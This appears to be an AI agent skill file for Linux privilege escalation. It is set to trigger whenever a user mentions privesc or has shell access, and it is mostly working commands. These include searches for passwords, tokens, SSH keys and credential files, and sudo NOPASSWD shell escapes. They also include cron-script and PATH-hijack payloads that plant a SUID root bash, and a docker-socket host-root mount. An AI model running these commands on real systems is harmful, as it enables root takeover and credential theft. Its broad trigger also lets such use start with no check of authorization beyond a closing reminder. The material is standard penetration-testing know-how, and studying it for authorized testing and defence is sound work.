| name | linux-privilege-escalation |
| description | Use this skill whenever you need to enumerate and exploit Linux privilege escalation vectors. Trigger this skill when the user mentions privilege escalation, privesc, gaining root, escalating privileges, Linux security assessment, or when they have shell access to a Linux system and want to find ways to gain higher privileges. This skill covers system enumeration, SUID binaries, sudo misconfigurations, cron jobs, kernel exploits, container escapes, and more. |
Linux Privilege Escalation Skill
A comprehensive guide for enumerating and exploiting privilege escalation vectors on Linux systems.
When to Use This Skill
Use this skill when:
- You have shell access to a Linux system and want to escalate privileges
- You're performing a security assessment or penetration test
- You need to enumerate system information for privilege escalation opportunities
- You want to check for specific vulnerability classes (SUID, sudo, cron, etc.)
- You're documenting or learning about Linux privilege escalation techniques
Quick Start
./scripts/linux-pe-enumerate.sh
./scripts/check-suid.sh
./scripts/check-sudo.sh
./scripts/check-cron.sh
System Enumeration
OS and Kernel Information
(cat /proc/version || uname -a) 2>/dev/null
cat /etc/os-release 2>/dev/null
uname -r
searchsploit "Linux Kernel $(uname -r)"
Environment Variables
echo $PATH
(env || set) 2>/dev/null | grep -iE 'password|api|key|token|secret'
User and Group Information
id
cat /etc/passwd | cut -d: -f1
cat /etc/passwd | grep "sh$"
awk -F: '($3 == "0") {print}' /etc/passwd
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null); do id $i; done 2>/dev/null | sort
Privilege Escalation Vectors
SUID Binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f ! -path "/usr/*" ! -path "/bin/*" ! -path "/sbin/*" 2>/dev/null
find / -perm -4000 -type f -writable 2>/dev/null
Sudo Misconfigurations
sudo -l
sudo -l | grep NOPASSWD
sudo -l | grep -i env
ls -l /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Cron Jobs
crontab -l 2>/dev/null
ls -al /etc/cron* /etc/at* 2>/dev/null
cat /etc/crontab /etc/cron.d/* /var/spool/cron/crontabs/* 2>/dev/null | grep -v "^#"
grep -r '\*' /etc/cron* /var/spool/cron/ 2>/dev/null
Writable Files and Directories
find / \( -type f -o -type d \) \( -user $USER -o -perm -o=w \) ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
for g in $(groups | cut -d: -f2 | tr ' ' '\n'); do
find / -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null
done
for dir in $(echo $PATH | tr ':' '\n'); do
if [ -w "$dir" ]; then
echo "Writable PATH directory: $dir"
fi
done
Kernel Exploits
uname -r
searchsploit "Linux Kernel $(uname -r)"
curl -s https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: "
Docker Privilege Escalation
ls -la /var/run/docker.sock 2>/dev/null
groups | grep docker
docker -H unix:///var/run/docker.sock ps 2>/dev/null
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
Process Memory
cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null
ps aux
ps -ef
strings /proc/<PID>/mem 2>/dev/null | grep -iE 'password|api|key|token'
Interesting Files
find / -type f \( -name "*password*" -o -name "*passwd*" -o -name "*shadow*" \) 2>/dev/null
find / -type f -name "*_history" 2>/dev/null
find / -type f -name "id_rsa*" -o -name "id_dsa*" -o -name "id_ecdsa*" 2>/dev/null
find / -type f -name ".git-credentials" 2>/dev/null
find / -type f \( -name "*backup*" -o -name "*.bak" -o -name "*.bck" \) 2>/dev/null
Network Services
ss -tulpn
netstat -punta 2>/dev/null
ss -tulpn | grep "127.0"
nmap -Pn --open -p- 127.0.0.1 2>/dev/null
ip a
ip route
Common Exploitation Patterns
SUID Binary Exploitation
If you find a SUID binary that's writable or has a vulnerability:
ldd /path/to/suid_binary
readelf -d /path/to/suid_binary | grep -iE 'RPATH|RUNPATH'
cp /path/to/suid_binary /tmp/
chmod +s /tmp/suid_binary
Sudo NOPASSWD Exploitation
If you have NOPASSWD sudo access to a command:
sudo vim -c ':!/bin/sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find / -exec /bin/sh \;
Cron Job Exploitation
If you find a writable cron job:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cron/script.sh
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /writable/path/script.sh
PATH Hijacking
If you can write to a directory in PATH:
cat > /writable/path/python3 <<'EOF'
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
EOF
chmod +x /writable/path/python3
Security Protections to Check
aa-status 2>/dev/null || apparmor_status 2>/dev/null
sestatus 2>/dev/null
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
uname -r | grep -i grsec
which paxctl-ng paxctl 2>/dev/null
Useful Tools
-
LinPEAS: Comprehensive privilege escalation enumeration
-
GTFOBins: Unix binaries that can be exploited
-
Searchsploit: Exploit database
-
Linux Exploit Suggester: Kernel exploit enumeration
Next Steps
After enumeration:
- Review the output from
./scripts/linux-pe-enumerate.sh
- Check specific vulnerability classes with the check scripts
- Research found vulnerabilities using Searchsploit or GTFOBins
- Test exploitation carefully (may require compiling exploits)
- Document findings and remediation recommendations
Important Notes
- Always have proper authorization before testing
- Some checks require elevated privileges to be fully effective
- Kernel exploits may crash the system - test in a safe environment
- Document all findings for remediation
- Consider using automated tools like LinPEAS for comprehensive checks